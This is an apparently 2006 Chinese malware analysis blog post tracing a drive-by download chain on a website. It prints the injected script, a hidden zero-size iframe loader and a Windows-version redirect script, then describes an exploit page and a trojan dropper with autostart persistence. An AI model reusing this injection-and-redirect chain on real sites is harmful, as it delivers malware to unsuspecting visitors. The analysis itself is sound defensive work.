关于hxxp://www.hj234.com的问题

endurer　原创

2006-04-24　第1版

在hxxp://www.hj234.com的主页有代码:

 

---

 

＜script language=JavaScript src="hxxp://www.***hj234.com/abc/abc.js"＞＜/script＞

 

---

 

hxxp://www.***hj234.com/abc/abc.js的内容为:

 

---

document.write("＜iframe height=0 width=0 frameborder=0 src='hxxp://www.***hj234.com/abc/joke.htm'＞＜/iframe＞")

 

 

---

 

hxxp://www.***hj234.com/abc/joke.htm的内容为:

 

---

 ＜center＞＜font color=red＞对不起,您访问的页面不存在!＜/font＞＜center＞                             ＜script language=javascript＞ie='windows';ver=navigator.appVersion;if(!(ver.indexOf('NT 5.0')==-1))ie='winnt';if(!(ver.indexOf('Windows 98')==-1)){ie='w98';}location.href=ie+'.htm';＜/script＞

 

 

---

 

会根据浏览者所用Windows版本，打开windows.htm，winnt.htm或w98.htm

从这个网页开始，所用的技术与发现一个使用技术升级、下载灰鸽子的网站相同。

这3个网页会下载/运行文件young.gif和young.css

young.gif　是个利用系统漏洞的网页文件，访问注册表获取IE临时文件夹路径，并利用WScript.Shell复制文件young.css，创建文件c:/wins.bat，c:/boot.hta，C:/wins.exe。
江民KV2006报为Exploit.VBS.Phel.ba

young.css　用VB6编写，修改IE启动页，创建名为services.exe的文件，并在注册表的run键加入开机启动项，江民KV2006报为TrojanDropper.Delf.d